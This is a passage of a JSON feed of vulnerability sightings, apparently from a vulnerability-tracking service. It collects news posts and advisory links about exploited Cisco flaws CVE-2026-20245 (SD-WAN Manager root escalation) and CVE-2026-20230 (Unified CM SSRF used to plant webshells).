SD-WAN\u306e\u672a\u77e5\u306e\u8106\u5f31\u6027CVE-2026-20245\u304c\u30d7\u30ed\u30d0\u30a4\u30c0\u30fc\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3067\u60aa\u7528\u3055\u308c\u3001\u7ba1\u7406\u8005\u6a29\u9650\u3092root\u6a29\u9650\u306b\u6607\u683c\u3055\u305b\u3066\u3044\u305f\u3053\u3068\u3092\u78ba\u8a8d\u3002\u30b5\u30d7\u30e9\u30a4\u30e4\u30fc\u3068\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u5bfe\u8c61\u3068\u3057\u305f\u653b\u6483\u306e\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n#\u30bc\u30ed\u30c7\u30a4 #CVE #\u8106\u5f31\u6027", "creation_timestamp": "2026-06-25T06:01:27.342760Z"}, {"uuid": "5414f7ec-d760-4eed-beef-c69766f571ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mp3qxvd4zf2w", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-06-25T06:02:13.527779Z"}, {"uuid": "039a0047-1bb5-4de3-af45-ebe27a823370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mp3qz6ar2t2g", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access", "creation_timestamp": "2026-06-25T06:02:56.340667Z"}, {"uuid": "cf9347bd-ad7d-4712-9266-79b72ed36384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mp3rtoafq42a", "content": "Cisco SD-WAN Zero-Day CVE-2026-20245: The Root-Level Backdoor That Lurked for Two Months +\u00a0Video\n\nIntroduction: In a stark reminder that network infrastructure remains a prime target for sophisticated adversaries, Mandiant has revealed that attackers exploited a critical zero-day vulnerability in\u2026", "creation_timestamp": "2026-06-25T06:17:46.029427Z"}, {"uuid": "07bc71fd-e6f7-4121-877a-4ff3bac1cc4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mp3rvcofj32l", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access", "creation_timestamp": "2026-06-25T06:18:40.918630Z"}, {"uuid": "b373d7c3-4cd3-493f-ad1a-67e9714c6d0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mp3s6vnc5b2w", "content": "CVE-2026-20245 in Cisco Catalyst SD-WAN Manager enabled authenticated attackers to run arbitrary root commands via crafted files, exploited months before disclosure.\n", "creation_timestamp": "2026-06-25T06:24:02.701933Z"}, {"uuid": "c9d7e98c-a1b5-4cf1-b0b3-790e551ed752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mp3s3cvdar42", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access TheHackerNews Mandiant says CVE-2026-20245 was exploited as a Cisco SD-WAN zero-day to escalate admin access to root on a...\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-25T06:24:41.473187Z"}, {"uuid": "9f3f5345-faeb-4b2e-b6b1-c3b23b9aa278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/calimegai.bsky.social/post/3mp3tqcz2tr2l", "content": "Une faille zero-day (CVE-2026-20245, score 7.8) dans #Cisco #Catalyst #SDWAN a permis \u00e0 un attaquant d\u2019obtenir un acc\u00e8s root, exploit\u00e9e 2 mois avant sa r\u00e9v\u00e9lation. Vigilance recommand\u00e9e! \ud83d\udd10 #CyberSecurity #Automatisation ", "creation_timestamp": "2026-06-25T06:51:40.852209Z"}, {"uuid": "2f0e5714-2373-44a9-9f71-2a899bfab168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-zero-day-cve-2026.html", "content": "An unknown threat actor exploited a recently disclosed high-severity security flaw impacting Cisco Catalyst SD-WAN as a zero-day at least two months before it was publicly disclosed, according to new findings from Google-owned Mandiant.\n\nThe vulnerability, tracked as CVE-2026-20245 (CVSS score: 7.8), allows an authenticated, local attacker to execute arbitrary commands with elevated privileges", "creation_timestamp": "2026-06-25T07:00:41.826458Z"}, {"uuid": "1f07f7b0-3054-42e1-9a60-13d12797258a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mp3urmhg7y27", "content": "Cisco Unified Servers Face Active CVE-2026-20230\u00a0Exploitation\n\nThreat actors have initiated attempts to exploit the CVE-2026-20230 vulnerability within Cisco Unified servers used for corporate telephony. This critical error allows an unauthenticated, remote attacker to force file creation within\u2026", "creation_timestamp": "2026-06-25T07:10:18.248782Z"}, {"uuid": "f0889e4e-12f8-47b9-8230-54113ec50d1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cybergeodigest.bsky.social/post/3mp3yc2apud2x", "content": "Today's CyberGeoDigest \u2014 20 stories\n\nTop: Unknown Actor Exploits CVE-2026-20245 Zero-Day in Cisco SD-WAN Two Months Early\n\n#InfoSec #CVE #CyberSecurity", "creation_timestamp": "2026-06-25T08:13:10.131001Z"}, {"uuid": "b31a5646-5338-48d1-b402-da2ae5efcb35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mp3zm5zvqea2", "content": "Cisco SD-WAN Zero-Day Exploited Months Before Patching CVE-2026-20245, the 7th Cisco SD-WAN vulnerability exploited in 2026, was used for months prior to its disclosure and patching. The post Cisco...\n\n#Vulnerabilities #Cisco #exploited #Mandiant #SD-WAN #Zero-Day\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-25T08:37:21.117108Z"}, {"uuid": "f4e1ddad-21af-4d70-9f10-d34481d1910b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/sagalinked.bsky.social/post/3mp44uqvab32f", "content": "\ud83d\udcf0 Cisco has released multiple critical vulnerabilities, including CVE-2026-20230 under exploitation and an earlier SD-WAN 0-day that appears even more severe tha...\n\n\ud83d\udd17 https://www.theregister.com/security/2026/06/24/the-hits-keep-on-coming-for-cisco-vulnerabilities/5261797\n\n#Tech #Enterprise", "creation_timestamp": "2026-06-25T09:35:13.198588Z"}, {"uuid": "2d71072d-9bae-4211-a3c2-1a7f8fb842c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://www.cert.dk/news/2026-06-25/Cisco-fejl-udnyttes-i-angreb-mod-telefonisystemer", "content": "", "creation_timestamp": "2026-06-25T09:45:09.414350Z"}, {"uuid": "9b0b582b-3836-4f2e-96af-6eb57d0f6e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mp46re3uqp2k", "content": "Running Cisco Unified CM? Check if WebDialer is enabled and patch now. Security firm Defused reports attacks on CVE-2026-20230, a critical flaw letting an unauthenticated attacker gain root on the server. Cisco $CSCO patched it June 3 but says it sees no malicious use yet.", "creation_timestamp": "2026-06-25T10:09:06.165349Z"}, {"uuid": "36038ee7-345f-4409-ae78-e3305199e19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20268", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msx3gzpyh223", "content": "\ud83d\udccc CVE-2026-20268 - As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehens... https://www.cyberhub.blog/cves/CVE-2026-20268", "creation_timestamp": "2026-08-13T07:07:06.197291Z"}, {"uuid": "173978cb-e7d9-46e3-ab0b-4e6768a2db34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mp47bm5t372e", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited Months Before Disclosure", "creation_timestamp": "2026-06-25T10:18:14.606713Z"}, {"uuid": "46bba838-271a-4818-858d-3c4b0e4148a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mp4eydauyo2g", "content": "Cisco Catalyst SD-WAN CVE-2026-20245 is being exploited as a zero-day for root access. Check for exposed devices and apply vendor mitigations ASAP. #Cybersecurity #ZeroDay #Vulnerability\n\nSource: https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-zero-day-cve-2026.html", "creation_timestamp": "2026-06-25T12:00:23.152000Z"}, {"uuid": "97975a0a-41a3-48c0-9532-215963a208c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/devopsstart.com/post/3mp4ipuz5l32w", "content": "A single curl request can give an attacker root access to your Cisco SD-WAN Manager. Block CVE-2026-20245 immediately with a simple iptables rule that drops requests targeting /dataservice/device/config. #DevOps #Security", "creation_timestamp": "2026-06-25T13:07:14.003308Z"}, {"uuid": "a332cbf0-56f6-4f88-8ee6-d401bde71782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116810667285243144", "content": "Zero-Day Exploitation of Vulnerability CVE-2026-20245 in Cisco Catalyst SD-WAN Manager\u2028Source URL: https://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager/\u2028Mandiant reported that a threat actor targeting SD-WAN infrastructure at a service provider used a compromised administrative account and then exploited CVE-2026-20245, a zero-day vulnerability in Cisco Catalyst SD-WAN Manager, to escalate privileges to root. The vulnerability stems from insufficient filtering of malicious data in the device\u2019s file-upload functionality, and the actor reportedly used anti-forensic techniques such as selectively deleting and restoring modified configuration files to reduce detection. The issue is particularly relevant for organizations that rely on SD-WAN control planes because compromise of management infrastructure can have broad downstream impact across connectivity, routing, segmentation and service-provider trust boundaries.", "creation_timestamp": "2026-06-25T12:08:52.749519Z"}, {"uuid": "a482bf98-555a-480d-9ca4-0f8c13acec77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/index.espresso.cafecito.tech.ap.brid.gy/post/3mp4fjzszhsg2", "content": "TL;DR\n\n * CVE-2026-20230: Cisco Unified CM Critical RCE \u2014 Legacy WebDialer Flaw Triggers Global Enterprise Risk. Is your enterprise network still running deprecated services that act as open doors for hackers?\n * 630GB Leak: Tata Electronics Breach Exposes Apple and Tesla Specs. How can a 630GB [\u2026]", "creation_timestamp": "2026-06-25T12:10:19.109262Z"}, {"uuid": "253fa479-c0ba-402d-baae-42e5b3b329c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp4gflydpc27", "content": "Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230)\n\nCVE-2026-20230, a server-side request forgery (SSRF) vulnerability affecting Cisco\u2019s Unified Communications Manager (Unified CM), is being exploited to drop webshells and achieve remote code execution cap\u2026\n#hackernews #news", "creation_timestamp": "2026-06-25T12:25:41.982544Z"}, {"uuid": "89f8683f-18f6-465d-b785-4b5997c469e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mp4hdawdmk2z", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access reconbee.com/cisco-cataly...\n\n#Cisco #zeroday #gainroot #SDWAN #cyberattack", "creation_timestamp": "2026-06-25T12:42:23.607352Z"}, {"uuid": "b298f4e6-dda1-456e-9149-bd3328f3ec36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://threatintel.cc/2026/06/25/zeroday-exploitation-of-vulnerability-cve.html", "content": "Source URL: cloud.google.com/blog/topi…\u2028Mandiant reported that a threat actor targeting SD-WAN infrastructure at a service provider used a compromised administrative account and then exploited CVE-2026-20245, a zero-day vulnerability in Cisco Catalyst SD-WAN Manager, to escalate privileges to root. The vulnerability stems from insufficient filtering of malicious data in the device\u2019s file-upload functionality, and the actor reportedly used anti-forensic techniques such as selectively deleting and restoring modified configuration files to reduce detection. The issue is particularly relevant for organizations that rely on SD-WAN control planes because compromise of management infrastructure can have broad downstream impact across connectivity, routing, segmentation and service-provider trust boundaries.", "creation_timestamp": "2026-06-25T13:00:44.235804Z"}, {"uuid": "31e2a3ab-fa18-47d7-9805-7293de9c49fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmg6y224", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:41.285792Z"}, {"uuid": "7436d6fc-8f00-4188-8281-cb30d1878bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgiqk24", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:42.148904Z"}, {"uuid": "aada9e9a-9212-4a1b-b3d1-9f64d8099cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgjps24", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:42.955028Z"}, {"uuid": "f457cc86-0bde-4685-9242-c6788b2ae37e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgkp224", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:43.791889Z"}, {"uuid": "1614765d-a191-46be-a9f1-b19c236f1f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgloc24", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:44.649065Z"}, {"uuid": "3d912862-5789-414f-892c-a1b50cb63e5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgmnk24", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:45.501909Z"}, {"uuid": "cfd9b5dc-3dfa-4d0d-bcae-a9fdf4c47e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgnms24", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:46.335948Z"}, {"uuid": "ffbc1850-eb4b-4bcf-b659-b3f01fe7668f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgnmt24", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:47.159561Z"}, {"uuid": "236b3291-c563-471b-bdf0-bcc99a9fff17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp4jsmgnmu24", "content": "6/ \ud83d\ude97 Cisco SD-WAN CVE-2026-20245: zero-day exploited for MONTHS before disclosure. Mandiant tracked the attacker gaining SSH access then escalating to root. 7th Cisco SD-WAN flaw exploited in 2026. Seven. (SecurityWeek)", "creation_timestamp": "2026-06-25T13:26:47.977336Z"}, {"uuid": "b956676e-d55e-4181-a6ea-d6dae9d0d410", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-high-severity-vulnerability-cisco-unified-communications-manager-exploit-poc", "content": "", "creation_timestamp": "2026-06-25T13:45:03.525819Z"}, {"uuid": "84c32cac-3310-4869-9c90-b7f5bb69328a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mp4ku24n4l2p", "content": "\ud83d\udc1b VULNERABILITIES Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access \u2014 The Hacker News\nhttps://thehackernews.com/2026/06/cisco-catalyst-sd-wan-zero-day-cve-2026.html #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-06-25T13:45:21.109246Z"}, {"uuid": "363f8fb6-14ca-48e5-bfa5-e33576fb44d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3mp4n42y3sk2l", "content": "Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst\nSD-WAN Manager\ncloud.google.com/blog/topics/...", "creation_timestamp": "2026-06-25T14:25:39.134107Z"}, {"uuid": "e8ce48de-921e-4f9c-afbf-98ad0e3074d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp4ncbyexk27", "content": "Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild\n\nAttackers exploit Cisco Unified CM flaw (CVE-2026-20230) allowing unauth HTTP requests to trigger SSRF, write files, and gain root access Cisco Unified Communications Manager has a serious vulnerability, tracked \u2026\n#hackernews #news", "creation_timestamp": "2026-06-25T14:29:07.507980Z"}, {"uuid": "7a81931e-f556-4400-a238-0a34a8f82419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mp4o6kq2cv2h", "content": "On the Cisco SD-WAN item: Mandiant found the actor pushed configuration changes to edge devices, not just root on the Manager. CVE-2026-20245 sat exploited roughly two months before the June 5 disclosure, and CISA's patch deadline already passed Monday.", "creation_timestamp": "2026-06-25T14:44:55.386176Z"}, {"uuid": "5a62aa2f-f0ac-4a88-89d7-8486b39871c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/apemanor.bsky.social/post/3mp4sgyapyb26", "content": "\ud83d\udcf0 Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited for Root Access\n\nhttps://apemanor.com/article/6ffd48a3-7768-47b8-8b1c-1579d24fdbe0\n\n#Tech #News #Discussion", "creation_timestamp": "2026-06-25T16:01:13.995857Z"}, {"uuid": "6c3bddff-14e3-4290-ad8e-06bd334c9966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20175", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116811755148604719", "content": "New advisory.\nCVE-2026-20175, medium severity: Cisco Finesse Remote File Inclusion Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-finesse-rfi-gwpkdc89 \nFrom yesterday:\nCisco Advance Notification for Publication of July 1, 2026, Security Advisories https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-notice-vwL7b0S7 @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-06-25T16:45:33.094070Z"}, {"uuid": "3343e617-b733-40c0-bb16-7c653f54076e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116811816867526680", "content": "\ud83d\udcf0 Attackers Actively Exploit Critical Cisco Unified CM Flaw to Deploy Webshells\n\u26a0\ufe0f ACTIVE EXPLOITATION: A critical SSRF flaw in Cisco Unified CM (CVE-2026-20230) is being used to drop webshells. Attackers are scanning from Tor. Disable the WebDialer service or patch immediately! #Cisco #CyberAttack #Infosec #SSRF\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/active-exploitation-of-critical-cisco-unified-cm-flaw-begins/?utm_source=mastodon&utm_medium\u2026", "creation_timestamp": "2026-06-25T17:01:19.198744Z"}, {"uuid": "0b79c74e-53e0-4830-8c58-39f6c9d3637d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mp4vsz3evt2x", "content": "\u26a0\ufe0f ACTIVE EXPLOITATION: A critical SSRF flaw in Cisco Unified CM (CVE-2026-20230) is being used to drop webshells. Attackers are scanning from Tor. Disable the WebDialer service or patch immediately! #Cisco #CyberAttack #Infosec #SSRF\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-25T17:01:38.207428Z"}, {"uuid": "d33dc394-a5be-45ef-a254-2815325ea81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/tritontech.bsky.social/post/3mp4zcobdhi2o", "content": "Cisco Catalyst SD-WAN zero-day CVE-2026-20245 exploited for root access. Critical to patch now and deploy AI threat detection. https://tcc.onl/OjXdyFNT #ZeroDay", "creation_timestamp": "2026-06-25T18:04:05.119038Z"}, {"uuid": "2fa1be7a-a622-46a6-9702-d9a99fbd6b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mp55wlb5ge2d", "content": "\ud83d\uded1 CVE-2026-20230\nCisco Unified Communications Manager\nCVSS 8.6 / EPSS 34% / KEV \u2705\nTL;DR: A vulnerability in Cisco Unified Communications Manager (Unified CM) an\u2026\nhttps://cvesentinel.com/report/CVE-2026-20230?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-06-25T19:26:47.252271Z"}, {"uuid": "12dddeca-d060-4f0b-afcf-b5d72ed10e82", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a68980e0-b134-4149-a482-a2baf1a341a6", "content": "", "creation_timestamp": "2026-06-25T20:00:02.000436Z"}, {"uuid": "619864d1-e76d-4064-a274-4654bd0f309f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6837276", "content": "2026-06-25: [CVE-2026-20230] Cisco Unified Communications Manager Server-Side 